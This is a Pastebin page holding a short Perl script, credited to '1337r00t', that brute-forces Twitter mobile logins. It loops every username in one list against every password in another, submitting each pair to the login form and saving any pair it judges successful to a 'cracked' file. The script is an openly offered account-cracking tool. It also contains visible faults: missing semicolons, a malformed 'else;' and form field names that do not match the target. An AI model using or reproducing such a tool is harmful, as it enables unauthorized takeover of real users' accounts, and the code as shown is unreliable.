Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #####################
- #
- # Coded: 1337r00t
- #
- #####################
- use WWW::Mechanize;
- use strict;
- my $url = "https://mobile.twitter.com/login"
- my $user = $ARGV[0]
- my $pass = $ARGV[1]
- my $cracked = $ARGV[2]
- if (!@ARGV)
- {
- print "./1337.pl userlist.txt passlist.txt cracked.txt ";
- }
- else;
- {
- my $mechanize = WWW::Mechanize->new();
- $mechanize->get($url);
- open(USER, "<", $user) || die("Not Found :(UserList)");
- while(<USER>)
- {
- my $usr = $_;
- chomp($usr);
- open(PASS, "<", $pass) || die("Not Found :(PassList)");
- while(<PASS>)
- {
- chomp($_)
- $mechanize->submit_form
- (
- form_id => "form",
- fields => {log => $usr, pwd => $_}
- );
- print "$usr:$_\n";
- my $content = $mechanize->content;
- if ($content =~ /@/ || $content =~ /Home/)
- {
- print "\n\nCracked : $usr:$_ \n\n"
- if ($cracked)
- {
- open(CRACKED, ">", $cracked);
- print CRACKED "$usr:$_\n";
- close(CRACKED)
- print "Saved $cracked\n";
- }
- exit;
- }
- }
- close(PASS);
- }
- close(USER);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement